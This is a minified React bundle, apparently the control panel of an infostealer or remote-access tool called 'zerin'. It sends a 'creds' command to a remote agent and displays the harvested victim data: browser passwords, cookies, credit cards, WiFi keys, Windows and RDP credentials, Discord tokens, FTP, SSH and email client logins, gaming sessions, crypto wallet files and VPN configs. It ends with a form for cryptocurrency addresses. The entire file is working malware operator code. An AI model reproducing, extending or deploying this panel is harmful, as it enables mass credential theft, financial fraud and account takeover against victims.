oe.has(X)?oe.delete(X):oe.add(X),oe})},y=m.useCallback(async()=>{if(!p){l(!0),u(""),s(null),h.current&&(clearInterval(h.current),h.current=null);try{const{task_id:X}=await Me(e,{command:"creds"});let ie=0;h.current=setInterval(async()=>{var oe,Oe,et,T,ae,ue,lt,Ct,Lt,vr,Qr,Li,_s;ie++;try{const Jr=(oe=(await Xn(e)).results)==null?void 0:oe.find(bt=>bt.task_id===X);if(Jr){if(h.current&&clearInterval(h.current),h.current=null,l(!1),Jr.error){u(Jr.error);return}if(Jr.output)try{const bt=JSON.parse(Jr.output);s(bt);const rn=new Set;(Oe=bt.chrome_passwords)!=null&&Oe.length&&rn.add("chrome_passwords"),(et=bt.firefox_passwords)!=null&&et.length&&rn.add("firefox_passwords"),(T=bt.wifi)!=null&&T.length&&rn.add("wifi"),(ae=bt.windows_credentials)!=null&&ae.length&&rn.add("windows_credentials"),(ue=bt.discord_tokens)!=null&&ue.length&&rn.add("discord_tokens"),(lt=bt.wallets)!=null&<.length&&rn.add("wallets"),(Ct=bt.vpn)!=null&&Ct.length&&rn.add("vpn"),((Lt=bt.steam)!=null&&Lt.found||(vr=bt.epic)!=null&&vr.found||(Qr=bt.minecraft)!=null&&Qr.length||(Li=bt.roblox)!=null&&Li.found)&&rn.add("gaming"),(_s=bt.errors)!=null&&_s.length&&rn.add("errors"),f(rn)}catch{u("Failed to parse credential data")}}else ie>=60&&(h.current&&clearInterval(h.current),h.current=null,l(!1),u("Timed out waiting for results"))}catch{}},3e3)}catch(X){l(!1),u(X instanceof Error?X.message:"Failed to submit task")}}},[e,p]),[v,b]=m.useState(null),w=(X,ie)=>{navigator.clipboard.writeText(X).then(()=>{const oe=ie?ie.clientX:window.innerWidth/2,Oe=ie?ie.clientY-30:window.innerHeight/2;b({text:"Copied!",x:oe,y:Oe}),setTimeout(()=>b(null),1200)}).catch(()=>{})},j=(X,ie)=>{try{const oe=atob(X),Oe=new Uint8Array(oe.length);for(let ue=0;ue{if(!i)return;const X=new Blob([JSON.stringify(i,null,2)],{type:"application/json"}),ie=URL.createObjectURL(X),oe=document.createElement("a");oe.href=ie,oe.download=`credentials_${e.slice(0,8)}.json`,oe.click(),URL.revokeObjectURL(ie)};return a.jsxs("div",{className:"p-6 animate-fade-in space-y-4",children:[a.jsxs("div",{className:"flex items-center gap-3",children:[a.jsx("button",{onClick:y,disabled:o||p,className:`inline-flex items-center gap-2 text-sm font-medium\r + bg-zerin-accent hover:bg-zerin-accent-hover text-white\r + px-4 py-2 transition-colors\r + disabled:opacity-30 disabled:cursor-not-allowed`,children:o?a.jsxs(a.Fragment,{children:[a.jsx("div",{className:"w-4 h-4 border-2 border-white/30 border-t-white rounded-full animate-spin"}),"Grabbing..."]}):a.jsxs(a.Fragment,{children:[a.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M15.75 5.25a3 3 0 013 3m3 0a6 6 0 01-7.029 5.912c-.563-.097-1.159.026-1.563.43L10.5 17.25H8.25v2.25H6v2.25H2.25v-2.818c0-.597.237-1.17.659-1.591l6.499-6.499c.404-.404.527-1 .43-1.563A6 6 0 1121.75 8.25z"})}),"Grab Credentials"]})}),i&&a.jsxs("button",{onClick:N,className:`inline-flex items-center gap-1.5 text-sm font-medium\r + text-zerin-text-dim hover:text-zerin-text\r + bg-zerin-panel hover:bg-zerin-panel-hover\r + border border-zerin-panel-border\r + px-3 py-2 transition-colors`,children:[a.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M3 16.5v2.25A2.25 2.25 0 005.25 21h13.5A2.25 2.25 0 0021 18.75V16.5M16.5 12L12 16.5m0 0L7.5 12m4.5 4.5V3"})}),"Export JSON"]}),p&&a.jsx("span",{className:"text-zerin-danger text-xs font-medium",children:"Agent offline"})]}),c&&a.jsx("div",{className:"bg-zerin-danger-dim border border-zerin-danger/20 px-4 py-3 text-sm text-zerin-danger",children:c}),i&&a.jsxs("div",{className:"space-y-2",children:[a.jsx(Rn,{title:"Browser Passwords",count:(((k=i.chrome_passwords)==null?void 0:k.length)??0)+(((z=i.firefox_passwords)==null?void 0:z.length)??0),expanded:d.has("chrome_passwords")||d.has("firefox_passwords"),onToggle:()=>{g("chrome_passwords"),g("firefox_passwords")},children:[...i.chrome_passwords??[],...i.firefox_passwords??[]].length===0?a.jsx("p",{className:"text-zerin-text-muted text-xs px-4 py-3",children:"No passwords found"}):a.jsxs("table",{className:"w-full text-xs",children:[a.jsx("thead",{children:a.jsxs("tr",{className:"border-b border-zerin-panel-border",children:[a.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Browser"}),a.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"URL"}),a.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Username"}),a.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Password"})]})}),a.jsx("tbody",{className:"divide-y divide-zerin-panel-border",children:[...i.chrome_passwords??[],...i.firefox_passwords??[]].map((X,ie)=>a.jsxs("tr",{className:"hover:bg-zerin-panel-hover",children:[a.jsx("td",{className:"px-4 py-1.5 text-zerin-text-dim",children:X.browser??"Firefox"}),a.jsx("td",{className:"px-4 py-1.5 text-zerin-text font-mono max-w-[200px] truncate",children:X.url}),a.jsx("td",{className:"px-4 py-1.5 text-zerin-text font-mono cursor-pointer hover:text-zerin-accent",onClick:oe=>w(X.username,oe),children:X.username}),a.jsx("td",{className:"px-4 py-1.5 text-zerin-text font-mono cursor-pointer hover:text-zerin-accent",onClick:oe=>w(X.password,oe),children:X.password?"••••••••":""})]},ie))})]})}),a.jsx(Rn,{title:"Browser Cookies",count:((S=i.chrome_cookies)==null?void 0:S.length)??0,expanded:d.has("chrome_cookies"),onToggle:()=>g("chrome_cookies"),children:(A=i.chrome_cookies)!=null&&A.length?a.jsxs("table",{className:"w-full text-xs",children:[a.jsx("thead",{children:a.jsxs("tr",{className:"border-b border-zerin-panel-border",children:[a.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Browser"}),a.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Host"}),a.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Name"}),a.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Value"})]})}),a.jsx("tbody",{className:"divide-y divide-zerin-panel-border",children:i.chrome_cookies.map((X,ie)=>a.jsxs("tr",{className:"hover:bg-zerin-panel-hover",children:[a.jsx("td",{className:"px-4 py-1.5 text-zerin-text-dim",children:X.browser}),a.jsx("td",{className:"px-4 py-1.5 text-zerin-text font-mono",children:X.host}),a.jsx("td",{className:"px-4 py-1.5 text-zerin-text font-mono",children:X.name}),a.jsxs("td",{className:"px-4 py-1.5 text-zerin-text font-mono max-w-[200px] truncate cursor-pointer hover:text-zerin-accent",onClick:oe=>w(X.value,oe),children:[X.value.slice(0,40),"..."]})]},ie))})]}):a.jsx("p",{className:"text-zerin-text-muted text-xs px-4 py-3",children:"No cookies found"})}),a.jsx(Rn,{title:"Credit Cards",count:((_=i.chrome_cards)==null?void 0:_.length)??0,expanded:d.has("chrome_cards"),onToggle:()=>g("chrome_cards"),children:(O=i.chrome_cards)!=null&&O.length?a.jsxs("table",{className:"w-full text-xs",children:[a.jsx("thead",{children:a.jsxs("tr",{className:"border-b border-zerin-panel-border",children:[a.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Browser"}),a.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Name"}),a.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Number"}),a.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Exp"})]})}),a.jsx("tbody",{className:"divide-y divide-zerin-panel-border",children:i.chrome_cards.map((X,ie)=>a.jsxs("tr",{className:"hover:bg-zerin-panel-hover",children:[a.jsx("td",{className:"px-4 py-1.5 text-zerin-text-dim",children:X.browser}),a.jsx("td",{className:"px-4 py-1.5 text-zerin-text",children:X.name}),a.jsx("td",{className:"px-4 py-1.5 text-zerin-text font-mono cursor-pointer hover:text-zerin-accent",onClick:oe=>w(X.number,oe),children:X.number}),a.jsx("td",{className:"px-4 py-1.5 text-zerin-text-dim",children:X.exp})]},ie))})]}):a.jsx("p",{className:"text-zerin-text-muted text-xs px-4 py-3",children:"No credit cards found"})}),a.jsx(Rn,{title:"WiFi Passwords",count:((P=i.wifi)==null?void 0:P.length)??0,expanded:d.has("wifi"),onToggle:()=>g("wifi"),children:(D=i.wifi)!=null&&D.length?a.jsxs("table",{className:"w-full text-xs",children:[a.jsx("thead",{children:a.jsxs("tr",{className:"border-b border-zerin-panel-border",children:[a.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"SSID"}),a.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Auth"}),a.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Password"})]})}),a.jsx("tbody",{className:"divide-y divide-zerin-panel-border",children:i.wifi.map((X,ie)=>a.jsxs("tr",{className:"hover:bg-zerin-panel-hover",children:[a.jsx("td",{className:"px-4 py-1.5 text-zerin-text font-medium",children:X.ssid}),a.jsx("td",{className:"px-4 py-1.5 text-zerin-text-dim",children:X.auth}),a.jsx("td",{className:"px-4 py-1.5 text-zerin-text font-mono cursor-pointer hover:text-zerin-accent",onClick:oe=>w(X.password,oe),children:X.password||"(none)"})]},ie))})]}):a.jsx("p",{className:"text-zerin-text-muted text-xs px-4 py-3",children:"No WiFi passwords found"})}),a.jsx(Rn,{title:"Windows Credentials",count:((V=i.windows_credentials)==null?void 0:V.length)??0,expanded:d.has("windows_credentials"),onToggle:()=>g("windows_credentials"),children:(R=i.windows_credentials)!=null&&R.length?a.jsxs("table",{className:"w-full text-xs",children:[a.jsx("thead",{children:a.jsxs("tr",{className:"border-b border-zerin-panel-border",children:[a.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Target"}),a.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Username"}),a.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Password"}),a.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Type"})]})}),a.jsx("tbody",{className:"divide-y divide-zerin-panel-border",children:i.windows_credentials.map((X,ie)=>a.jsxs("tr",{className:`hover:bg-zerin-panel-hover ${X.is_rdp?"bg-zerin-accent-muted/30":""}`,children:[a.jsxs("td",{className:"px-4 py-1.5 text-zerin-text font-mono max-w-[200px] truncate",children:[X.is_rdp&&a.jsx("span",{className:"text-zerin-accent font-medium mr-1",children:"[RDP]"}),X.target]}),a.jsx("td",{className:"px-4 py-1.5 text-zerin-text font-mono cursor-pointer hover:text-zerin-accent",onClick:oe=>w(X.username,oe),children:X.username}),a.jsx("td",{className:"px-4 py-1.5 text-zerin-text font-mono cursor-pointer hover:text-zerin-accent",onClick:oe=>w(X.password,oe),children:X.password?"••••••••":""}),a.jsx("td",{className:"px-4 py-1.5 text-zerin-text-dim",children:X.type})]},ie))})]}):a.jsx("p",{className:"text-zerin-text-muted text-xs px-4 py-3",children:"No Windows credentials found"})}),a.jsx(Rn,{title:"Discord Tokens",count:((M=i.discord_tokens)==null?void 0:M.length)??0,expanded:d.has("discord_tokens"),onToggle:()=>g("discord_tokens"),children:(W=i.discord_tokens)!=null&&W.length?a.jsxs("table",{className:"w-full text-xs",children:[a.jsx("thead",{children:a.jsxs("tr",{className:"border-b border-zerin-panel-border",children:[a.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Source"}),a.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Type"}),a.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Token"})]})}),a.jsx("tbody",{className:"divide-y divide-zerin-panel-border",children:i.discord_tokens.map((X,ie)=>a.jsxs("tr",{className:"hover:bg-zerin-panel-hover",children:[a.jsx("td",{className:"px-4 py-1.5 text-zerin-text-dim",children:X.source}),a.jsx("td",{className:"px-4 py-1.5 text-zerin-text-dim",children:X.type}),a.jsxs("td",{className:"px-4 py-1.5 text-zerin-text font-mono cursor-pointer hover:text-zerin-accent max-w-[300px] truncate",onClick:oe=>w(X.token,oe),children:[X.token.slice(0,20),"..."]})]},ie))})]}):a.jsx("p",{className:"text-zerin-text-muted text-xs px-4 py-3",children:"No Discord tokens found"})}),a.jsx(Rn,{title:"Applications",count:(($=i.telegram)!=null&&$.found?1:0)+(((U=i.filezilla)==null?void 0:U.length)??0)+(((B=i.winscp)==null?void 0:B.length)??0)+(((K=i.putty)==null?void 0:K.length)??0)+(((Z=i.outlook)==null?void 0:Z.length)??0),expanded:d.has("apps"),onToggle:()=>g("apps"),children:a.jsxs("div",{className:"space-y-3 p-4",children:[i.telegram&&a.jsxs("div",{children:[a.jsx("h4",{className:"text-xs font-semibold text-zerin-text mb-1",children:"Telegram"}),i.telegram.found?a.jsxs("div",{children:[a.jsxs("p",{className:"text-xs text-zerin-text font-mono mb-1",children:["Found at: ",a.jsx("span",{className:"text-zerin-accent cursor-pointer",onClick:X=>w(i.telegram.path,X),children:i.telegram.path})]}),(((le=i.telegram.files)==null?void 0:le.length)??0)>0&&a.jsx("div",{className:"flex flex-wrap gap-1.5 mt-1",children:i.telegram.files.map((X,ie)=>a.jsxs("button",{onClick:()=>j(X.data,X.name),className:`inline-flex items-center gap-1 text-[10px] font-mono text-zerin-accent\r + bg-zerin-accent/10 hover:bg-zerin-accent/20 px-2 py-0.5 transition-colors cursor-pointer`,children:[a.jsx("svg",{className:"w-3 h-3",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M3 16.5v2.25A2.25 2.25 0 005.25 21h13.5A2.25 2.25 0 0021 18.75V16.5M16.5 12L12 16.5m0 0L7.5 12m4.5 4.5V3"})}),X.name]},ie))})]}):a.jsx("p",{className:"text-xs text-zerin-text-muted",children:"Not installed"})]}),(((de=i.filezilla)==null?void 0:de.length)??0)>0&&a.jsxs("div",{children:[a.jsxs("h4",{className:"text-xs font-semibold text-zerin-text mb-1",children:["FileZilla (",i.filezilla.length,")"]}),a.jsx("table",{className:"w-full text-xs",children:a.jsx("tbody",{className:"divide-y divide-zerin-panel-border",children:i.filezilla.map((X,ie)=>a.jsxs("tr",{className:"hover:bg-zerin-panel-hover",children:[a.jsxs("td",{className:"py-1 text-zerin-text font-mono",children:[X.host,":",X.port]}),a.jsx("td",{className:"py-1 text-zerin-text font-mono",children:X.user}),a.jsx("td",{className:"py-1 text-zerin-text font-mono cursor-pointer hover:text-zerin-accent",onClick:oe=>w(X.password,oe),children:X.password?"••••••••":""})]},ie))})})]}),(((we=i.winscp)==null?void 0:we.length)??0)>0&&a.jsxs("div",{children:[a.jsxs("h4",{className:"text-xs font-semibold text-zerin-text mb-1",children:["WinSCP (",i.winscp.length,")"]}),a.jsx("table",{className:"w-full text-xs",children:a.jsx("tbody",{className:"divide-y divide-zerin-panel-border",children:i.winscp.map((X,ie)=>a.jsxs("tr",{className:"hover:bg-zerin-panel-hover",children:[a.jsx("td",{className:"py-1 text-zerin-text font-mono",children:X.host}),a.jsx("td",{className:"py-1 text-zerin-text font-mono",children:X.user}),a.jsx("td",{className:"py-1 text-zerin-text font-mono cursor-pointer hover:text-zerin-accent",onClick:oe=>w(X.password,oe),children:X.password?"••••••••":""})]},ie))})})]}),(((ye=i.putty)==null?void 0:ye.length)??0)>0&&a.jsxs("div",{children:[a.jsxs("h4",{className:"text-xs font-semibold text-zerin-text mb-1",children:["PuTTY (",i.putty.length,")"]}),a.jsx("table",{className:"w-full text-xs",children:a.jsx("tbody",{className:"divide-y divide-zerin-panel-border",children:i.putty.map((X,ie)=>a.jsxs("tr",{className:"hover:bg-zerin-panel-hover",children:[a.jsx("td",{className:"py-1 text-zerin-text-dim",children:X.session}),a.jsxs("td",{className:"py-1 text-zerin-text font-mono",children:[X.host,":",X.port]}),a.jsx("td",{className:"py-1 text-zerin-text font-mono",children:X.user})]},ie))})})]}),(((G=i.outlook)==null?void 0:G.length)??0)>0&&a.jsxs("div",{children:[a.jsxs("h4",{className:"text-xs font-semibold text-zerin-text mb-1",children:["Outlook (",i.outlook.length,")"]}),a.jsx("table",{className:"w-full text-xs",children:a.jsx("tbody",{className:"divide-y divide-zerin-panel-border",children:i.outlook.map((X,ie)=>a.jsxs("tr",{className:"hover:bg-zerin-panel-hover",children:[a.jsx("td",{className:"py-1 text-zerin-text font-mono",children:X.account}),a.jsx("td",{className:"py-1 text-zerin-text font-mono",children:X.server}),a.jsx("td",{className:"py-1 text-zerin-text font-mono cursor-pointer hover:text-zerin-accent",onClick:oe=>w(X.password,oe),children:X.password?"••••••••":""})]},ie))})})]}),!((te=i.telegram)!=null&&te.found)&&!((C=i.filezilla)!=null&&C.length)&&!((Y=i.winscp)!=null&&Y.length)&&!((re=i.putty)!=null&&re.length)&&!((F=i.outlook)!=null&&F.length)&&a.jsx("p",{className:"text-zerin-text-muted text-xs",children:"No application credentials found"})]})}),a.jsx(Rn,{title:"Gaming Sessions",count:((se=i.steam)!=null&&se.found?1:0)+((be=i.epic)!=null&&be.found?1:0)+(((ke=i.minecraft)==null?void 0:ke.length)??0)+((Ae=i.roblox)!=null&&Ae.found?1:0),expanded:d.has("gaming"),onToggle:()=>g("gaming"),children:a.jsxs("div",{className:"space-y-3 p-4",children:[((I=i.steam)==null?void 0:I.found)&&a.jsxs("div",{children:[a.jsx("h4",{className:"text-xs font-semibold text-zerin-text mb-1",children:a.jsx("span",{className:"text-blue-400",children:"Steam"})}),a.jsxs("div",{className:"flex flex-wrap gap-1.5",children:[i.steam.loginusers&&a.jsxs("button",{onClick:()=>j(i.steam.loginusers,"loginusers.vdf"),className:`inline-flex items-center gap-1 text-[10px] font-mono text-zerin-accent\r + bg-zerin-accent/10 hover:bg-zerin-accent/20 px-2 py-0.5 transition-colors cursor-pointer`,children:[a.jsx("svg",{className:"w-3 h-3",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M3 16.5v2.25A2.25 2.25 0 005.25 21h13.5A2.25 2.25 0 0021 18.75V16.5M16.5 12L12 16.5m0 0L7.5 12m4.5 4.5V3"})}),"loginusers.vdf"]}),i.steam.config&&a.jsxs("button",{onClick:()=>j(i.steam.config,"config.vdf"),className:`inline-flex items-center gap-1 text-[10px] font-mono text-zerin-accent\r + bg-zerin-accent/10 hover:bg-zerin-accent/20 px-2 py-0.5 transition-colors cursor-pointer`,children:[a.jsx("svg",{className:"w-3 h-3",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M3 16.5v2.25A2.25 2.25 0 005.25 21h13.5A2.25 2.25 0 0021 18.75V16.5M16.5 12L12 16.5m0 0L7.5 12m4.5 4.5V3"})}),"config.vdf"]}),(fe=i.steam.ssfn_files)==null?void 0:fe.map((X,ie)=>a.jsxs("button",{onClick:()=>j(X.data,X.name),className:`inline-flex items-center gap-1 text-[10px] font-mono text-zerin-accent\r + bg-zerin-accent/10 hover:bg-zerin-accent/20 px-2 py-0.5 transition-colors cursor-pointer`,children:[a.jsx("svg",{className:"w-3 h-3",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M3 16.5v2.25A2.25 2.25 0 005.25 21h13.5A2.25 2.25 0 0021 18.75V16.5M16.5 12L12 16.5m0 0L7.5 12m4.5 4.5V3"})}),X.name]},ie))]})]}),((q=i.epic)==null?void 0:q.found)&&a.jsxs("div",{children:[a.jsx("h4",{className:"text-xs font-semibold text-zerin-text mb-1",children:"Epic Games"}),a.jsxs("button",{onClick:()=>j(i.epic.config,"GameUserSettings.ini"),className:`inline-flex items-center gap-1 text-[10px] font-mono text-zerin-accent\r + bg-zerin-accent/10 hover:bg-zerin-accent/20 px-2 py-0.5 transition-colors cursor-pointer`,children:[a.jsx("svg",{className:"w-3 h-3",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M3 16.5v2.25A2.25 2.25 0 005.25 21h13.5A2.25 2.25 0 0021 18.75V16.5M16.5 12L12 16.5m0 0L7.5 12m4.5 4.5V3"})}),"GameUserSettings.ini"]})]}),(((ne=i.minecraft)==null?void 0:ne.length)??0)>0&&a.jsxs("div",{children:[a.jsxs("h4",{className:"text-xs font-semibold text-zerin-text mb-1",children:["Minecraft (",i.minecraft.length,")"]}),a.jsx("div",{className:"flex flex-wrap gap-1.5",children:i.minecraft.map((X,ie)=>a.jsxs("button",{onClick:()=>j(X.data,`${X.launcher}_accounts.json`),className:`inline-flex items-center gap-1 text-[10px] font-mono text-zerin-accent\r + bg-zerin-accent/10 hover:bg-zerin-accent/20 px-2 py-0.5 transition-colors cursor-pointer`,children:[a.jsx("svg",{className:"w-3 h-3",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M3 16.5v2.25A2.25 2.25 0 005.25 21h13.5A2.25 2.25 0 0021 18.75V16.5M16.5 12L12 16.5m0 0L7.5 12m4.5 4.5V3"})}),X.launcher]},ie))})]}),((ve=i.roblox)==null?void 0:ve.found)&&a.jsxs("div",{children:[a.jsx("h4",{className:"text-xs font-semibold text-zerin-text mb-1",children:"Roblox"}),i.roblox.cookie?a.jsxs("p",{className:"text-xs text-zerin-text font-mono cursor-pointer hover:text-zerin-accent max-w-full truncate",onClick:X=>w(i.roblox.cookie,X),children:[".ROBLOSECURITY: ",i.roblox.cookie.slice(0,40),"..."]}):i.roblox.cookie_file?a.jsxs("button",{onClick:()=>j(i.roblox.cookie_file,"RobloxCookies.dat"),className:`inline-flex items-center gap-1 text-[10px] font-mono text-zerin-accent\r + bg-zerin-accent/10 hover:bg-zerin-accent/20 px-2 py-0.5 transition-colors cursor-pointer`,children:[a.jsx("svg",{className:"w-3 h-3",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M3 16.5v2.25A2.25 2.25 0 005.25 21h13.5A2.25 2.25 0 0021 18.75V16.5M16.5 12L12 16.5m0 0L7.5 12m4.5 4.5V3"})}),"RobloxCookies.dat"]}):null]}),!((H=i.steam)!=null&&H.found)&&!((Q=i.epic)!=null&&Q.found)&&!((he=i.minecraft)!=null&&he.length)&&!((E=i.roblox)!=null&&E.found)&&a.jsx("p",{className:"text-zerin-text-muted text-xs",children:"No gaming sessions found"})]})}),a.jsx(Rn,{title:"Crypto Wallets",count:((ce=i.wallets)==null?void 0:ce.length)??0,expanded:d.has("wallets"),onToggle:()=>g("wallets"),children:(ee=i.wallets)!=null&&ee.length?a.jsx("div",{className:"space-y-3 p-4",children:i.wallets.map((X,ie)=>a.jsxs("div",{children:[a.jsxs("h4",{className:"text-xs font-semibold text-zerin-text mb-1",children:[a.jsx("span",{className:"text-amber-400",children:X.name}),a.jsxs("span",{className:"text-zerin-text-muted ml-1.5 font-normal",children:["(",X.files.length," file",X.files.length!==1?"s":"",")"]})]}),a.jsx("div",{className:"flex flex-wrap gap-1.5",children:X.files.map((oe,Oe)=>a.jsxs("button",{onClick:()=>j(oe.data,oe.name),className:`inline-flex items-center gap-1 text-[10px] font-mono text-zerin-accent\r + bg-zerin-accent/10 hover:bg-zerin-accent/20 px-2 py-0.5 transition-colors cursor-pointer`,children:[a.jsx("svg",{className:"w-3 h-3",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M3 16.5v2.25A2.25 2.25 0 005.25 21h13.5A2.25 2.25 0 0021 18.75V16.5M16.5 12L12 16.5m0 0L7.5 12m4.5 4.5V3"})}),oe.name]},Oe))})]},ie))}):a.jsx("p",{className:"text-zerin-text-muted text-xs px-4 py-3",children:"No wallets found"})}),a.jsx(Rn,{title:"VPN Configs",count:((xe=i.vpn)==null?void 0:xe.length)??0,expanded:d.has("vpn"),onToggle:()=>g("vpn"),children:(Ne=i.vpn)!=null&&Ne.length?a.jsx("div",{className:"space-y-3 p-4",children:i.vpn.map((X,ie)=>a.jsxs("div",{children:[a.jsxs("h4",{className:"text-xs font-semibold text-zerin-text mb-1",children:[a.jsx("span",{className:"text-emerald-400",children:X.name}),a.jsxs("span",{className:"text-zerin-text-muted ml-1.5 font-normal",children:["(",X.files.length," file",X.files.length!==1?"s":"",")"]})]}),a.jsx("div",{className:"flex flex-wrap gap-1.5",children:X.files.map((oe,Oe)=>a.jsxs("button",{onClick:()=>j(oe.data,oe.name),className:`inline-flex items-center gap-1 text-[10px] font-mono text-zerin-accent\r + bg-zerin-accent/10 hover:bg-zerin-accent/20 px-2 py-0.5 transition-colors cursor-pointer`,children:[a.jsx("svg",{className:"w-3 h-3",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M3 16.5v2.25A2.25 2.25 0 005.25 21h13.5A2.25 2.25 0 0021 18.75V16.5M16.5 12L12 16.5m0 0L7.5 12m4.5 4.5V3"})}),oe.name]},Oe))})]},ie))}):a.jsx("p",{className:"text-zerin-text-muted text-xs px-4 py-3",children:"No VPN configs found"})}),(((ze=i.errors)==null?void 0:ze.length)??0)>0&&a.jsx(Rn,{title:"Errors",count:i.errors.length,expanded:d.has("errors"),onToggle:()=>g("errors"),children:a.jsx("div",{className:"p-4 space-y-1",children:i.errors.map((X,ie)=>a.jsxs("div",{className:"text-xs",children:[a.jsxs("span",{className:"text-zerin-text-dim font-medium",children:[X.source,":"]})," ",a.jsx("span",{className:"text-zerin-danger",children:X.error})]},ie))})})]}),v&&a.jsx("div",{className:`fixed z-50 px-2.5 py-1 text-xs font-medium text-white bg-zerin-accent\r + pointer-events-none animate-fade-in`,style:{left:v.x,top:v.y,transform:"translate(-50%, -100%)"},children:v.text}),!i&&!o&&!c&&a.jsx("div",{className:"flex items-center justify-center py-20",children:a.jsxs("div",{className:"text-center",children:[a.jsx("div",{className:"w-14 h-14 mx-auto mb-4 bg-zerin-panel-hover flex items-center justify-center",children:a.jsx("svg",{className:"w-7 h-7 text-zerin-text-muted",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:1.5,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M15.75 5.25a3 3 0 013 3m3 0a6 6 0 01-7.029 5.912c-.563-.097-1.159.026-1.563.43L10.5 17.25H8.25v2.25H6v2.25H2.25v-2.818c0-.597.237-1.17.659-1.591l6.499-6.499c.404-.404.527-1 .43-1.563A6 6 0 1121.75 8.25z"})})}),a.jsx("h3",{className:"text-zerin-text font-medium text-sm mb-1",children:"Credential Recovery"}),a.jsxs("p",{className:"text-zerin-text-muted text-xs",children:["Click ",a.jsx("span",{className:"font-semibold text-zerin-accent",children:"Grab Credentials"})," to recover saved passwords, cookies, tokens, and more."]})]})})]})}function Rn({title:e,count:t,expanded:n,onToggle:r,children:i}){return a.jsxs("div",{className:"border border-zerin-panel-border overflow-hidden",children:[a.jsxs("button",{onClick:r,className:`w-full flex items-center gap-2 px-4 py-2.5 text-left\r + hover:bg-zerin-panel-hover transition-colors`,children:[a.jsx("svg",{className:`w-3.5 h-3.5 text-zerin-text-dim transition-transform ${n?"rotate-90":""}`,fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M9 5l7 7-7 7"})}),a.jsx("span",{className:"text-sm font-semibold text-zerin-text",children:e}),a.jsx("span",{className:"text-xs font-mono text-zerin-text-muted bg-zerin-panel-hover px-1.5 py-0.5",children:t})]}),n&&a.jsx("div",{className:"border-t border-zerin-panel-border",children:i})]})}const lV=[{key:"btc",label:"Bitcoin (BTC)",placeholder:"bc1q... or 1.../3...",color:"text-orange-400"},{key:"eth",label:"Ethereum (ETH)",placeholder:"0x...",color:"text-blue-400"},{key:"ltc",label:"Litecoin (LTC)",placeholder:"L.../M.../ltc1...",color:"text-gray-300"},{key:"xmr",label:"Monero (XMR)",placeholder:"4...",color:"text-orange-300"},{key:"doge",label:"Dogecoin (DOGE)",placeholder:"D...",color:"text-yellow-400"},{key:"sol",label:"Solana (SOL)",placeholder:"Base58 address",color:"text-purple-400"},{key:"xrp",label:"Ripple (XRP)",placeholder:"r...",color:"text-blue-300"},{key:"trx",label:"Tron (TRX)",placeholder:"T...",color:"text-red-400"},{key:"bnb",label:"BNB Chain",placeholder:"bnb1...",color:"text-yellow-300"}],cV={btc:"",eth:"",ltc:"",xmr:"",doge:"",sol:"",xrp:"",trx:"",bnb:""};function R2(e,t){if(!t)return null;switch(e){case"btc":return t.startsWith("bc1")&&t.length>=25&&t.length<=62||(t.startsWith("1")||t.startsWith("3"))&&t.length>=25&&t.length<=34?null:"Invalid BTC 